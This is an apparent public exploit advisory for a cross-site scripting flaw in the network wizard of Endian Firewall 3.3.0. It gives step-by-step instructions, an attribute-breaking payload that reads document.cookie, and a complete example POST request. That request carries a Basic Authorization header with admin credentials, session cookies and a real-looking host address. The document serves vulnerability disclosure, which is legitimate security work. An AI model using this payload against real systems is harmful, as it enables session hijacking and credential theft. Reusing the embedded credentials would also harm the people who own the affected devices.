# Exploit Title: Endian Firewall cross-site scripting (XSS) # Date: 08/22/2019 # Exploit Authors: Milad Soltanian + G0dfather ( @irpwn ) # Vendor Homepage: https://www.endian.com # Version : 3.3.0 An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 1 - login 2 - open the url below to edit network configuration 3 - forward the step till u face Step 3/8: Network preferences 4 - now put the payload in IP address input [PAYLOAD] = "><img src=aWd3l onerror=alert(document.cookie)><!-- [EXAMPLE REQUESTE] POST /cgi-bin/netwizard.cgi HTTP/1.1 Host: 5.9.96.86:10443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 272 Authorization: Basic YWRtaW46bWEhQCM0NTY= Connection: close Referer: https://192.168.1.10:10443/cgi-bin/netwizard.cgi Cookie: en-visit=216e4cac7868d0ca041c21489faa817d1a8faca5; session_id=2fcdb768fee725b270598427fa6f4ed10f6774ca; endian_webshell=354369204 Upgrade-Insecure-Requests: 1 session_id=174960656&step=3&DHCP_ENABLE_GREEN=on&DISPLAY_GREEN_ADDRESS=%22%3E%3Cimg+src%3DaWd3l+onerror%3Dalert%28document.cookie%29%3E%3C%21--&DISPLAY_GREEN_NETMASK=24&DISPLAY_GREEN_ADDITIONAL=&GREEN_DEVICES=0&HOSTNAME=efw-82aabd1d48&DOMAINNAME=localdomain&next=%3E%3E%3E